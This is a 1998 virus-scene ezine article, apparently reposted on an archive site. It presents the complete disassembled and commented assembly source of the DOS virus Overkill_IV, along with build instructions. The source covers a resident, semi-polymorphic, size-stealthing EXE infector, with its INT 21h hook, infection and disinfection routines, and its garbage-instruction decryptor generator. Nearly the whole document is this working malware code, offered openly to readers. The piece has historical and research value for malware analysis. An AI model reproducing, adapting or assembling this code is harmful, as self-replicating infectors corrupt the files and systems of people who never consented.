Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 305

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #3 - Phile 305 |
\-----------------------------/


Virus spotlite: Overkill_IV
by b0z0/iKX, Padania 1998

Virus Name : Overkill_IV
Author : MTZ
Origin : Italy
AV Virus Name : MTZ.2624
Type : TSR, semi-poly, EXE infector, stealth
Lenght : 2612 bytes (+12 bytes of the saved header)

Introduction
------------
This virus spotlite is dedicated to a virus from an Italian virus writer
called MTZ. He wrote many interesting viruses, thus Overkill_IV isn't his
best one, but I decided to disasm this one :) This is an interesting well
written TSR semipolymorphic EXE infector that goes resident in UMB when
possible. Overkill_IV has also some stealth features, but why should I do the
entire article, let's first see what AVP enciclopedia says about it :)))

---------------------->8----------[cut]----------8<--------------------------

MTZ.1907,2624

These are not dangerous memory resident parasitic polymorphic and
stealth viruses. Being executed they check DOS version and install
themselves as memory resident under DOS 5.0 or above. If there is free
block of upper memory, these viruses copy themselves into UMB. These
viruses infect files on FindFirst/FindNext DOS calls. On opening an
infected file the viruses disinfect it.

[skipped the MTZ.1907]

"MTZ.2624" hooks INT 21h and writes itself to the end of EXE files
(except SCAN.EXE). Depending on the system timer it displays the
message:

Overkill IV Virus - By MTZ - From Italy -
(Cazzo! Anche oggi un altro 2 di picche, ma si puo' andare avanti cosi' ?)

---------------------->8----------[cut]----------8<--------------------------

Oh yea? I didn't know I disasmd something like :) Well, AVP is going day by
day more and more commercial as every other AV company, so they don't give a
fuck to provide some good products or some good documentation. They just work
for money, hence the shit they produce. I still respect some guys working at
AVP that do something technically good, but they are going to be assimilated
by the commercial part (borgs :) ). So fuck AVP and it's encyclopedia (this is
not the only mistake, there are many many others) and let's make the real
description of Overkill_IV.

More tech desc
--------------
So when executed the virus will check for UMB and if present it will go
resident in upper memory. If UMB is not avaiable then the virus will go
resident in conventional memory using the int 21h calls to do the work.
Int 21h will be hooked and int 0fdh will be redirected to the original int
21h, so the virus will use this to make calls to the old int 21h.
At installation time the Overkill_IV will check the system date and if
the day is equal to the 30th and the current second is odd then the virus
will display a message and then wait the user to hit a key. After this the
control will be given to the host.
The virus infects on execute (4b00h) and close (3eh). On open call (3dh) of
an infected file the Overkill_IV will disinfect it, while on findfirst and
findnext (4eh/4fh) the virus will stealth its size.
The infection method is quite the usual one for EXE infectors. It uses
system file tables for infection. The virus will always pad the file size
to a multiple of 200h with zeros, making some parts of the infection stage
easyer. There isn't a particular word or some signature to recognize
an infected file, but it will check for some particullar values in the EXE
header that are very probable for an infected file (that is CS = SS+1, IP = 0,
and SP = 0). To make disinfection on open and filesize stealth easyer the
virus stores on the bottom of the infected file (the last 0ch bytes) some
vital data from the uninfected header. This 0ch bytes will be used on stealth
routines.
The Overkill_IV is just a bit poly, since it always use the same sequence of
instructions in the decryptor using always the same registers. Just some random
amount of garbage will be put in the middle of the various stable decryptor
instructions. The encryption is a byte xor with the value of the register al
which after an initialization is incremented by one in each loop. The
decryptor has a maximum fixed lenght of 100h bytes.
Finally the virus won't infect files which name ends in SCAN.EXE.

Disasm
------
And here goes the code! Greets to MTZ!

;
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Overkill_IV by MTZ ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disasm by b0z0/iKX, Padania 1997 ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;
; Compiling:
; tasm /m5 /l okill4.asm
; tlink okill4
;


ok_iv segment byte public
assume cs:ok_iv, ds:ok_iv

org 0

virus_start_file:
db 100h dup (90h) ; here the decryptor will be
; placed. while in memory this
; space is used as temporary
; space too
decryptor_end:
xor sp,sp
mov cs:[saved_es],es
push cs
pop ds

mov cx,9ebh
mov ax,0fe05h
jmp short $-02h ; a bit antidebug stuff
add ah,3Bh
jmp short $-0ah
mov ax,0A40h

mov ax,3000h ; get dos version
int 21h
cmp al,5
jl back2host

mov ax,184dh ; residency check
mov bx,'MT'
int 21h
cmp ax,'OK'
je back2host

mov ax,es
dec ax
push es
push ax
pop es ; on mcb
mov ax,word ptr es:[3]
mov [mcb_size],ax
mov al,byte ptr es:[0]
mov [mcb_type],al
pop es
call get_mem

cmp cs:[virus_seg],0 ; if 0 then installation in
je back2host ; mem not succesfull, else
call hook_fdh ; in virus_seg we have the
call hook_21h ; virus segment in mem

mov ax,[virus_seg]
mov es,ax
mov cx,virus_lenght
xor di,di ; copy virus to memory
mov si,0
rep movsb
back2host:
cmp word ptr cs:[current_pos],0
je fst_gen_exit ; if so then 1st gen
call payload_chk
call restore_host
fst_gen_exit:
mov ah,4ch
int 21h

mcb_size dw 00h
mcb_type db 00h
virus_seg dw 00h
saved_es dw 00h

payload_chk:
mov ax,2a00h ; get date
int 21h
jc no_payload

cmp dl,1eh ; is the 30th?
jne no_payload

mov ax,2c00h ; get time
int 21h
jc no_payload

and dh,1 ; is the second odd
cmp dh,1
jne no_payload

mov dx,offset virus_msg ; display virus msg
mov ax,900h
int 21h
jc no_payload
wait_hit:
mov ax,600h ; wait for kbdhit
mov dx,0ffh
int 21h
jz wait_hit
no_payload:
retn

virus_msg db " Overkill IV Virus - By MTZ - From Italy -"
db " <Hit any key to continue>",0dh,0ah
db " (Cazzo! Anche oggi un altro 2 di picche, ma"
db " si puo' andare avanti cosi' ?) ",0dh,0ah,'$'

hook_fdh:
pushf
push ax
push es
push ds
xor ax,ax
push ax ; on IVT
pop ds
les ax,dword ptr ds:[21h * 4] ; get int21h adress
mov word ptr cs:[orig_21h],ax ; save it
mov word ptr cs:[orig_21h + 2],es
mov word ptr ds:[0fdh * 4],ax ; set int 0fdh to orig
mov word ptr ds:[0fdh * 4 + 2],es ; int 21h
pop ds
pop es
pop ax
popf
retn

hook_21h:
pushf
push ax
push ds
xor ax,ax
push ax
pop ds ; on IVT
mov ax,offset handler_21h ; hook int 21h
mov word ptr ds:[21h * 4],ax
mov ax,word ptr cs:[virus_seg]
mov word ptr ds:[21h * 4 + 2],ax
pop ds
pop ax
popf
retn

handler_21h:
cli
pushf
cmp ax,184dh ; residency check
jne no_resi
cmp bx,'MT'
je res_check
no_resi:
mov byte ptr cs:[func_21h],0

cmp ah,3dh ; open
je got_open

cmp ax,4b00h ; execute
je infect_exec

cmp ah,3eh ; close
je infect_exec

cmp ah,4eh ; findfirst
je find_fsnx

cmp ah,4fh ; findnext
je find_fsnx

jmp short chain_21h
got_open:
mov byte ptr cs:[func_21h],ah ; save function
infect_exec:
call prep_inf

chain_21h:
popf
jmp dword ptr cs:[orig_21h]
find_fsnx:
mov byte ptr cs:[findfunc],ah
popf
call find_fncall
push bp
mov bp,sp
push ax
mov ax,word ptr cs:[call_flags]
push ax
pop word ptr [bp+6] ; put correct flags
pop ax
pop bp
iret

res_check:
popf
mov ax,'OK'
iret

orig_21h dd 00h ; original int21h seg:off

find_fncall:
int 0fdh

push ax
pushf
push bx ; save some stuff
push cx
push dx
push si
push di
push ds
push es
jc loc_15

cmp byte ptr cs:[findfunc],4eh
jne loc_16

mov cs:[path_end_pnt],0
push es
mov ax,2F00h ; get dta
int 0fdh

mov word ptr cs:[dta_off],bx
mov word ptr cs:[dta_seg],es
pop es
jc loc_15

push cs
pop es
mov si,dx
xor di,di
mov ax,6000h ; canonicalize filename
int 0fdh
jc loc_15

push cs
pop ds
xor di,di
mov ax,1212h ; get lenght of asciiz in cx
int 2fh
loc_15:
jc loc_18

add di,cx
std ; search back
mov al,'\' ; for \
repne scasb

inc di
cmp byte ptr [di],'\' ; got it?
jne loc_18 ; Jump if not equal
inc di
mov word ptr ds:[path_end_pnt],di
loc_16:
cmp word ptr cs:[path_end_pnt],0
je loc_18
cld

lds si,dword ptr cs:[dta_off]
add si,1eh ; filename in dta
push cs
pop es
mov di,word ptr cs:[path_end_pnt]
mov cx,0dh
mov ax,es
rep movsb

push cs
pop ds
xor dx,dx

call check4scan ; is an .exe and != scan.exe
jc loc_18

call open_file ; open file
jc loc_18

call read_head_chk ; read header
jc loc_17

call check_inf ; check if seems infected,
jnc loc_17 ; c seems infected

call read_lst0c ; read original header from
jc loc_17 ; eof-0ch

lds si,dword ptr cs:[dta_off]
mov ax,cs:[saved_exe_data + 08h]
dec ax
mov cx,200h
mul cx
add ax,cs:[saved_exe_data + 0ah]
adc dx,0 ; stealth file size
mov [si+1Ah],ax
mov [si+1Ch],dx
push cs
pop ds
loc_17:
call close_file
loc_18:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov word ptr cs:[call_flags],ax
pop ax
retn


call_flags dw 00h
findfunc db 00h
dta_off dw 00h
dta_seg dw 00h
path_end_pnt dw 00h

prep_inf:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cld
cmp ah,3eh ; closefile?
jne loc_19

clc
call duplicate_hnd
jc loc_21
jmp short loc_20
loc_19:
clc
call check4scan ; check that is an .exe and
jc loc_21 ; is not scan.exe

call open_file
jc loc_21
loc_20:
call fts_work
jc loc_21

call chk_infstlprp ; check if infected or if
jc loc_21 ; it has to be disinfected
; on open. if nc then we
; must infect it

call infect_exe ; infect exe
jc loc_21
call do_header ; put new exe header
loc_21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retn

duplicate_hnd:
mov ax,4500h ; duplicate handle
int 0fdh
jc loc_22
mov bx,ax
clc ; operation ok
retn
loc_22:
stc ; error
retn

check4scan:
push es
push ds
pop es
mov cx,400h
mov al,0 ; search end of fname
mov di,dx
cld
repne scasb
pop es
cmp byte ptr [di-2],'E'
jne not_exe_ext
cmp byte ptr [di-3],'X'
jne not_exe_ext
cmp byte ptr [di-4],'E'
jne not_exe_ext
cmp byte ptr [di-6],'N'
jne not_scan
cmp byte ptr [di-7],'A'
jne not_scan
cmp byte ptr [di-8],'C'
jne not_scan
cmp byte ptr [di-9],'S'
jne not_scan
jmp short not_exe_ext
not_scan:
clc ; good filename
retn
not_exe_ext:
stc ; scan.exe or not an .exe
retn

restore_dtime:
mov cx,word ptr ds:[filetime]
mov dx,word ptr ds:[filedate]
mov ax,5701h ; set original date
int 0FDh
retn

filedate dw 00 ; saved file date and time
filetime dw 00

open_file:
mov ax,3d00h
int 0fdh
mov bx,ax
retn

fts_work:
push bx
mov ax,1220h
int 2fh ; get jft for bx handle
jc loc_25

mov bl,byte ptr es:[di] ; sft entry number
xor bh,bh
mov ax,1216h ; get sft
int 2fh
jc loc_25

cmp byte ptr es:[di+28h],'E'
jne loc_25
cmp byte ptr es:[di+29h],'X'
jne loc_25
cmp byte ptr es:[di+2Ah],'E'
jne loc_25

mov ax,word ptr es:[di+0fh] ; filedate
mov word ptr cs:[filedate],ax

mov ax,word ptr es:[di+0dh] ; filetime
mov word ptr cs:[filetime],ax

mov ax,word ptr es:[di+2] ; file open mode
and ax,0fff8h
or ax,2
mov word ptr es:[di+2],ax ; set to rw
pop bx
clc
retn
loc_25:
pop bx
call close_file
stc ; set error flag
retn

close_file:
mov ax,3e00h ; close file
int 0fdh
retn

read_head_chk:
mov ax,4200h
xor cx,cx ; go to bof
mov dx,cx
int 0fdh
jc loc_26

mov dx,offset exe_header
mov cx,1ch
mov ax,3f00h
int 0fdh ; read file head
jc loc_26

cmp word ptr ds:[exe_header],'ZM'
jne loc_26
cmp word ptr ds:[exe_header+12h],0
jne loc_26
clc
retn
loc_26:
stc ; error
retn

chk_infstlprp:
push cs
push cs
pop ds
pop es
call read_head_chk
jc loc_28

call check_inf
jnc loc_27

cmp byte ptr [func_21h],3dh ; was an open?
jne loc_28
call disinfect
call restore_dtime
jmp short loc_28
loc_27:
cmp byte ptr [func_21h],3dh ; was an open?
je loc_28

mov ax,word ptr ds:[exe_header + 16h]
mov [saved_exe_data + 02h],ax
mov ax,word ptr ds:[exe_header + 14h]
mov [saved_exe_data],ax
mov ax,word ptr ds:[exe_header + 10h]
mov [saved_exe_data + 04h],ax
mov ax,word ptr ds:[exe_header + 0eh]
mov [saved_exe_data + 06h],ax
mov ax,word ptr ds:[exe_header + 04h]
mov [saved_exe_data + 08h],ax
mov ax,word ptr ds:[exe_header + 02h]
mov [saved_exe_data + 0ah],ax
clc
retn
loc_28:
call close_file
stc
retn

saved_exe_data dw 06h dup (?)
; this carryes data that is needed for restoration of the host. that is:
; + 00h host IP
; + 02h host CS
; + 04h host SP
; + 06h host SS
; + 08h host page count
; + 0ah host last page size
; this structure will be placed at the BOF unencrypted to make disinfection
; faster and easyer

func_21h db 00h

exe_header dw 0eh dup (?) ; 1ch bytes for the exe header

check_inf:
mov ax,virus_total ; check if infected by looking
mov cx,200h ; at usual virus value in head
xor dx,dx
div cx
inc ax
cmp [exe_header + 02h],dx ; last page count
jne loc_29
cmp [exe_header + 10h],0 ; sp = 0
jne loc_29
cmp [exe_header + 14h],0 ; ip = 0
jne loc_29
mov ax,[exe_header + 0eh] ; get ss
inc ax
cmp [exe_header + 16h],ax ; cs = ss + 1
jne loc_29
stc
retn
loc_29:
clc
retn


read_lst0c:
mov ax,4202h ; seek to eof
xor cx,cx
mov dx,cx
int 0fdh
jc loc_30

mov cx,dx
mov dx,ax
sub dx,0ch
sbb cx,0
mov ax,4200h ; move to EOF - 0ch
int 0fdh
jc loc_30

mov dx,offset saved_exe_data
mov cx,0ch
mov ax,3f00h
int 0fdh ; read
jc loc_30

mov ax,4200h
xor cx,cx
mov dx,cx ; back to start
int 0fdh
jc loc_30

clc
retn
loc_30:
stc
retn

disinfect:
call read_lst0c
jc loc_ret_31

mov ax,[saved_exe_data + 02h]
mov [exe_header + 16h],ax
mov ax,[saved_exe_data]
mov [exe_header + 14h],ax
mov ax,[saved_exe_data + 04h]
mov [exe_header + 10h],ax
mov ax,[saved_exe_data + 06h]
mov [exe_header + 0eh],ax
mov ax,[saved_exe_data + 08h]
mov [exe_header + 04h],ax
mov ax,[saved_exe_data + 0ah]
mov [exe_header + 02h],ax

mov ax,4000h
mov dx,offset exe_header ; write exe header
mov cx,1ch
int 0fdh
jc loc_ret_31

mov ax,[exe_header + 04h]
dec ax
mov cx,200h
mul cx
add ax,[exe_header + 02h]
adc dx,0
mov cx,dx
mov dx,ax
mov ax,4200h ; go to end of original file
int 0fdh
jc loc_ret_31

mov ax,4000h
mov cx,0 ; truncate there, so no more
int 0fdh ; virus there
jc loc_ret_31

loc_ret_31:
retn


infect_exe:
xor dx,dx
mov cx,dx
mov ax,4202h ; to EOF
int 0fdh
jc loc_33

mov dx,[exe_header + 02h]
mov cx,200h
sub cx,dx ; align to 200h
mov dx,cx
mov si,offset virus_end_file

locloop_32:
mov byte ptr [si],0 ; null bytes to align
inc si
loop locloop_32

mov cx,dx
mov ax,4000h ; write alignment
mov dx,offset virus_end_file
int 0fdh
jc loc_33

call poly_body

mov ax,4000h
mov cx,virus_lenght ; write virus body
mov dx,offset virus_end_file
int 0fdh
jc loc_33

mov ax,4000h
mov cx,0ch ; write original header
mov dx,offset saved_exe_data
int 0fdh
jc loc_33

clc
retn
loc_33:
call restore_dtime
call close_file
stc
retn


poly_body:
mov word ptr ds:[current_pos],virus_lenght
mov si,0
mov di,offset virus_end_file
mov cx,virus_lenght
rep movsb ; copy virus body

call make_decryptor

mov di,offset virus_end_file
add di,100h
mov cx,virus_lenght - decryptor_lenght
init_enc:
mov al,14h

locloop_34:
xor [di],al
inc di ; encrypt body
inc ax
loop locloop_34

retn


do_header:
xor dx,dx ; set new values to exe header
mov ax,[exe_header + 04h]
mov cx,20h
mul cx
sub ax,[exe_header + 08h]
mov [exe_header + 16h],ax ; cs
mov [exe_header + 0eh],ax
dec [exe_header + 0eh] ; ss = cs - 1
mov [exe_header + 10h],0 ; sp and ip to 0
mov [exe_header + 14h],0
mov ax,virus_total
mov cx,200h
xor dx,dx
div cx
inc ax
add [exe_header + 04h],ax ; and new lenght
mov [exe_header + 02h],dx

mov ax,4200h
xor cx,cx
mov dx,cx ; to BOF
int 0fdh
jc loc_35

mov ax,4000h
mov cx,1ch
mov dx,offset exe_header ; write header
int 0fdh
jc loc_35

mov ax,6800h ; flush
int 0fdh
loc_35:
call restore_dtime
call close_file
retn

get_mem:
mov cs:[virus_seg],0 ; init var
cmp [mcb_type], 'Z'
je loc_36
jmp short loc_39
loc_36:
mov ax,5802h ; get umb state
int 21h
jc loc_39

cmp al,1 ; can umb be used?
je loc_39

mov ax,5803h
mov bx,1 ; add umbs from dos memory
int 21h ; chain
jc loc_39

call sub_21
jnc loc_37

mov bx,virus_paras
mov ax,4800h ; alloc memory
int 21h
jc loc_38
loc_37:
mov cs:[virus_seg],ax
dec ax
push es
push ax
pop es
mov word ptr es:[01h],8 ; set owner dos and the
mov word ptr es:[08h],'DS' ; name of the mb program
mov byte ptr es:[10h],0
pop es
loc_38:
mov ax,5803h
mov bx,0
int 21h

loc_39:
cmp cs:[virus_seg],0
jne loc_ret_40

mov bx,[mcb_size]
sub bx,14eh
mov ax,4a00h ; resize mem block
int 21h

mov bx,virus_paras
mov ax,4800h ; alloc mem
int 21h
jc loc_ret_40

mov cs:[virus_seg],ax ; on mcb
dec ax
push es
push ax
pop es
mov word ptr es:[1],8 ; modify mcb
mov word ptr es:[8],'DS'
pop es
cmp [mcb_type],'Z'
jne loc_ret_40

mov ax,es
dec ax
push es
push ax
pop es
mov byte ptr es:[0],'Z' ; set last
pop es

loc_ret_40:
retn

sub_21:
push es
mov ax,es
dec ax
push ax
pop es
loc_41:
cmp byte ptr es:[0],'Z' ; find last mcb
je loc_42
add ax,es:[3]
inc ax
push ax
pop es
jmp short loc_41
loc_42:
cmp word ptr es:[1],0 ; free?
jne loc_43

cmp word ptr es:[3],virus_paras + 1 ; big enough?
jl loc_43

sub word ptr es:[3],virus_paras + 1 ; shrink it
add ax,es:[3]
inc ax
push ax
pop es
mov byte ptr es:[0],'Z' ; do our last mcb
mov word ptr es:[3],virus_paras
clc
inc ax
jmp short loc_44
loc_43:
stc
loc_44:
pop es
retn

restore_host:
mov bx,[saved_es]
mov cx,[saved_exe_data + 06h]
mov dx,[saved_exe_data + 04h] ; saved hdr stuff
mov si,[saved_exe_data + 02h]
mov di,[saved_exe_data]
mov ax,bx
add ax,10h
add ax,cx
mov ss,ax ; setup original ss:sp
mov sp,dx
mov ax,bx
add ax,10h
add ax,si
push ax ; push return address
mov ax,di
push ax
mov ax,bx
mov es,ax
mov ds,ax
mov ax,0 ; zero regs
mov bx,ax
mov cx,ax
mov dx,ax
mov di,ax
mov si,ax
retf


make_decryptor:
push bx
xor si,si
mov word ptr ds:[current_pos],virus_lenght

mov bx,0
mov dx,0ffh
call random_nr
mov byte ptr ds:[init_al+1],al ; key initialization
mov byte ptr ds:[init_enc+1],al

call rnd_16to1b
call garbage

mov cx,3
mov bx,offset init_si
call copy_cx_frombx

call rnd_16to1b
call garbage

mov cx,2
mov bx,offset init_al ; initialize key
call copy_cx_frombx

call rnd_16to1b
call garbage

mov cx,word ptr ds:[current_pos]
sub cx,virus_lenght ; calculate jump back on
mov word ptr ds:[jmp_back_val+1],cx ; math op

mov cx,3
mov bx,offset math_op ; write the math op
call copy_cx_frombx

call rnd_16to1b
call garbage

mov cx,3
mov bx,offset jmp_back_val ; write the mov di,offset math
call copy_cx_frombx ; for the jump back

call rnd_16to1b
call garbage

mov cx,1
mov bx,offset dec_ax ; copy the dec ax
call copy_cx_frombx

call rnd_16to1b
call garbage

mov cx,1
mov bx,offset inc_si ; copy the inc si
call copy_cx_frombx

call rnd_16to1b
call garbage

mov ax,offset decryptor_end
mov bx,word ptr ds:[current_pos]
sub bx,virus_lenght ; calculate lenght to exit
sub ax,bx ; of the decryptor
sub ax,6
mov byte ptr ds:[exit_jmp + 1],al

mov cx,6
mov bx,offset cmp_and_exit ; write compare and jump
call copy_cx_frombx

call rnd_16to1b
call garbage

mov cx,2
mov bx,offset jmp_to_di ; write the jmp di to begin
call copy_cx_frombx ; of decryptor

mov cx,(offset virus_end_file + decryptor_lenght)
sub cx,word ptr ds:[current_pos]
call garbage ; fill remaining space
pop bx
retn

current_pos dw 00h ; current position (in mem) of the
; decryptor building

random_nr:
; gives a random number between the values of bx and dx, where bx<dx
; output in ax and dx
push es
mov word ptr ds:[rnd_tmp_bx],bx
mov word ptr ds:[rnd_tmp_dx],dx

xor ax,ax
push ax
pop es
mov ax,es:[46ch] ; timer ticks
mov dx,0f000h
push dx
pop es
xor ax,es:[si]
inc si
inc si
pop es

xor dx,dx
mov bx,word ptr ds:[rnd_tmp_dx]
sub bx,word ptr ds:[rnd_tmp_bx]
inc bx
div bx
add dx,word ptr ds:[rnd_tmp_bx]
mov ax,dx
retn

rnd_tmp_bx dw 00h
rnd_tmp_dx dw 00h


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; garbage tables.
; the twobytes instruction table is composed of pairs of instructions, the
; first is the starting instruction and the second is the ending instruction
; the garbage generator will then select one instruction between the opcodes
; of the starting and ending one, thus is possible to make all the intermediate
; combinations. so for example the first pair will make opcodes from 3bc0 to
; 3bch, thus making compares between ax and all the regs (from oc 3bc0 to
; 3bc7) and compares between cx and all the regs (3bc8-3bcf).
; opcodes are on the right, while i included the starting and ending
; instructions too to make understanding easy. anyway if you can't see which
; instruction are generated between just try with some debugging tool
two_byters:
cmp ax,ax ; 3b c0
cmp cx,di ; 3b cf

or dx,ax ; 0b d0
or dx,bx ; 0b d3

xchg cx,cx ; 87 c9
xchg cx,bx ; 87 cb

test ax,ax ; 85 c0
test cx,di ; 85 cf

sub bx,ax ; 2b d8
sub bx,bx ; 2b db

and cx,ax ; 23 c8
and cx,bx ; 23 cb

mov bx,ax ; 8b d8
mov bx,bx ; 8b db

xor cx,ax ; 33 c8
xor cx,bx ; 33 cb

mov dx,ax ; 8b d0
mov dx,bx ; 8b d3

and bx,ax ; 23 d8
and bx,bx ; 23 db

test si,ax ; 85 f0
test di,di ; 85 ff

and dx,ax ; 23 d0
and dx,bx ; 23 d3

or bx,ax ; 0b d8
or bx,bx ; 0b db

mov ch,00h ; b5 00
mov bh,0ffh ; b7 ff

cmp dx,ax ; 3b d0
cmp bx,di ; 3b df

add dx,ax ; 03 d0
add dx,bx ; 03 d3

mov cx,ax ; 8b c8
mov cx,bx ; 8b cb

xor dx,ax ; 33 d0
xor dx,bx ; 33 d3

neg cx ; f7 d9
neg bx ; f7 db

not cx ; f7 d1
not bx ; f7 d3

rol cx,1 ; d1 c1
rol bx,1 ; d1 c3

sub cx,ax ; 2b c8
sub cx,bx ; 2b cb

mov cl,00h ; b1 00
mov bl,0ffh ; b3 ff

or cx,ax ; 0b c8
or cx,bx ; 0b cb

xchg dx,cx ; 87 d1
xchg dx,bx ; 87 d3

add cx,ax ; 03 c8
add cx,bx ; 03 cb

xor bx,ax ; 33 d8
xor bx,bx ; 33 db

test dx,ax ; 85 d0
test bx,di ; 85 df

ror cx,1 ; d1 c9
ror bx,1 ; d1 cb

sub dx,ax ; 2b d0
sub dx,bx ; 2b d3

xchg bx,cx ; 87 d9
xchg bx,bx ; 87 db

cmp si,ax ; 3b f0
cmp di,di ; 3b ff

add bx,ax ; 03 d8
add bx,bx ; 03 db

; the one byte long instructions.
one_byters:
push ax
inc cx
push bx
dec dx
push cx
inc dx
push dx
nop
push di
dec cx
push si
inc bx
dec bx

db 90h

; from this point down are present the commands that are needed in the
; decryptor, like the initialization of the pointer, key and so on. some
; of this are changed dinamically (key initialization, jump back and so on).
init_si:
mov si,100h


init_al:
mov al,00h


math_op:
xor cs:[si],al


jmp_back_val:
mov di,00h


dec_ax:
inc ax


inc_si:
inc si


cmp_and_exit:
cmp si,virus_lenght
exit_jmp:
je jmp_to_di


jmp_to_di:
jmp di

nop ; compiler bad optims i think :)

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


rnd_16to1b:
mov bx,16h
mov dx,1bh ; random nr from 16h to 1bh
call random_nr
mov cx,ax
retn

copy_cx_frombx:
push es
push ds
pop es
xchg si,bx
mov di,word ptr ds:[current_pos] ; copy cx bytes from
rep movsb ; ds:bx to es:di
mov word ptr ds:[current_pos],di
xchg si,bx
pop es
retn


garbage:
mov bx,0
mov dx,6
call random_nr ; onebyters or twobyters select
cmp ax,0
jne loc_46

mov bx,0
mov dx,0Ch
call random_nr ; select onebyter

mov di,ax
mov bx,word ptr [one_byters + di]
mov di,word ptr ds:[current_pos]
mov cs:[di],bl ; store it and update pnt
inc di
mov word ptr ds:[current_pos],di
dec cx
jmp short loc_47
loc_46:
mov bx,0
mov dx,20h ; 20 twobyters
call random_nr
mov di,ax ; select one of the twobyters
add di,di ; * 2 for the lenght
add di,di ; * 2 cause each has min and
; max

mov bx,word ptr ds:[two_byters + di] ; start interv.
xchg bl,bh
mov dx,word ptr ds:[two_byters + 2 + di] ; end interv.
xchg dl,dh
call random_nr ; select one in the interval
xchg al,ah

mov di,word ptr ds:[current_pos]
mov cs:[di],ax
add di,2 ; store to dec and upd pnt
mov word ptr ds:[current_pos],di
sub cx,2
loc_47:
cmp cx,0 ; enough garbage done?
je end_garbage
cmp cx,1 ; just one more? so one nop
je loc_48
jmp short garbage
loc_48:
mov di,word ptr ds:[current_pos]
mov byte ptr [di],90h
inc word ptr ds:[current_pos]

end_garbage:
retn

db 0

virus_end_file:

decryptor_lenght = (decryptor_end - virus_start_file)
virus_lenght = (virus_end_file - virus_start_file)
virus_total = (virus_lenght + 0ch)
virus_paras = ((virus_total * 2) / 10h) + 2

ok_iv ends
end virus_start_file


← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT